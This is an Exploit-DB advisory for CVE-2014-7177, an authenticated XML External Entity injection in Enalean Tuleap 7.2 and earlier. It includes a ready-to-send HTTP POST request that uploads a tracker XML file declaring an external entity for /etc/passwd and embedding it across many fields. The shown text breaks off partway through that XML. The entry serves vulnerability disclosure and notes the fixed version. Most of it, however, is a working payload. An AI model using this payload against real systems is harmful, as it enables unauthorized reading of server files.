Exploit-DB #35099
Description: Enalean Tuleap 7.2 - XML External Entity File Disclosure
Type: webapps
Platform: php
Date: 2014-10-28
Author: Portcullis

Exploit:
Vulnerability title: Tuleap <= 7.2 External XML Entity Injection in Enalean Tuleap
CVE: CVE-2014-7177
Vendor: Enalean
Product: Tuleap
Affected version: 7.2 and earlier
Fixed version: 7.4.99.5
Reported by: Jerzy Kramarz

Details:

A multiple XML External Entity Injection has been found and confirmed within the software as an authenticated user. Successful attack could allow an authenticated attacker to access local system files. The following example vectors can be used as PoC to confirm the vulnerability.

Vulnerability 1:

1) Upload a XXE using the following request:


POST /plugins/tracker/?group_id=102&func=create HTTP/1.1
Host: [ip]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[ip]/plugins/tracker/?group_id=102&func=create
Cookie: PHPSESSID=ujjrs6r6mssqn5gd5j83cmner4; TULEAP_session_hash=4a8075ce16e338b4015405cfa2816319
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]4778
Content-Length: 10561

----------------------------[PII_REDACTED]4778
Content-Disposition: form-data; name="group_id"

102
----------------------------[PII_REDACTED]4778
Content-Disposition: form-data; name="func"

docreate
----------------------------[PII_REDACTED]4778
Content-Disposition: form-data; name="group_id_template"

100
----------------------------[PII_REDACTED]4778
Content-Disposition: form-data; name="tracker_new_prjname"

Commencez Ã  taper
----------------------------[PII_REDACTED]4778
Content-Disposition: form-data; name="create_mode"

xml
----------------------------[PII_REDACTED]4778
Content-Disposition: form-data; name="tracker_new_xml_file"; filename="xee.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE str [<!ENTITY xxe SYSTEM "/etc/passwd">]>
<tracker instantiate_for_new_projects="0">
  <name>123&xxe;</name>
  <item_name>e123&xxe;</item_name>
  <description>123&xxe;</description>
  <cannedResponses/>
  <formElements>
    <formElement type="file" ID="F1" rank="0" use_it="0">
      <name>attachment</name>
      <label>Attachments</label>
    </formElement>
    <formElement type="text" ID="F2" rank="2" use_it="0">
      <name>details</name>
      <label>Original Submission</label>
      <description>A full description of the artifact&xxe;</description>
      <properties rows="7" cols="60"/>
    </formElement>
    <formElement type="string" ID="F3" rank="4" use_it="0" required="1">
      <name>summary</name>
      <label>Summary</label>
      <description>One line description of the artifact&xxe;</description>
      <properties maxchars="150" size="60"/>
    </formElement>
    <formElement type="tbl" ID="F4" rank="6" use_it="0">
      <name>cc</name>
      <label>CC</label>
      <properties hint="Type in a search term"/>
      <bind type="static" is_rank_alpha="0"/>
    </formElement>
    <formElement type="sb" ID="F7" rank="12" use_it="0">
      <name>status_id</name>
      <label>Status</label>
      <description>Artifact Status</description>
      <bind type="static" is_rank_alpha="0">
        <items>
          <item ID="F7-V0" label="Open">
            <description>The artifact has been submitted&xxe;</description>
          </item>
          <item ID="F7-V1" label="Closed">
            <description>The artifact is no longer active. See the Resolution field for details on how it was resolved.&xxe;</description>
          </item>
        </items>
      </bind>
    </formElement>
    <formElement type="sb" ID="F8" rank="14" use_it="0">
      <name>assigned_to</name>
      <label>Assigned to</label>
      <description>Who is in charge of solving the artifact&xxe;</description>
      <bind type="users">
        <items>
          <item label="group_members"/>
        </items>
      </bind>
    </formElement>
    <formElement type="sb" ID="F11" rank="20" use_it="0">
      <name>category_id</name>
      <label>Category</label>
      <description>Generally correspond to high level modules or functionalities of your software (e.g. User interface, Configuration Manager, Scheduler, Memory Manager...)</description>
      <bind type="static" is_rank_alpha="0"/>
    </formElement>
    <formElement type="sb" ID="F12" rank="22" use_it="0">
      <name>severity</name>
      <label>Priority</label>
      <description>How quickly the artifact must be completed</description>
      <bind type="static" is_rank_alpha="0">
        <items>
          <item ID="F12-V0" label="1 - Lowest"/>
          <item ID="F12-V1" label="2"/>
          <item ID="F12-V2" label="3"/>
          <item ID="F12-V3" label="4"/>
          <item ID="F12-V4" label="5 - Medium"/>
          <item ID="F12-V5" label="6"/>
          <item ID="F12-V6" label="7"/>
          <item ID="F12-V7" label="8"/>
          <item ID="F12-V8" label="9 - Highest"/>
        </items>
        <decorators>
          <decorator REF="F12-V0" r="255" g="255" b="204"/>
          <decorator REF="F12-V1" r="255" g="255" b="102"/>
          <decorator REF="F12-V2" r="255" g="204" b="0"/>
          <decorator REF="F12-V3" r="255" g="153" b="0"/>
          <decorator REF="F12-V4" r="255" g="102" b="0"/>
          <decorator REF="F12-V5" r="255" g="51" b="0"/>
          <decorator REF="F12-V6" r="204" g="51" b="0"/>
          <decorator REF="F12-V7" r="153" g="0" b="0"/>
          <decorator REF="F12-V8" r="51" g="0" b="0"/>
        </decorators>
      </bind>
    </formElement>
    <formElement type="sb" ID="F13" rank="24" use_it="0">
      <name>stage&xxe;</name>
      <label>Stage&xxe;</label>
      <description>Stage in the life cycle of the artifact&xxe;</description>
      <bind type="static" is_rank_alpha="0">
        <items>
          <item ID="F13-V0" label="New">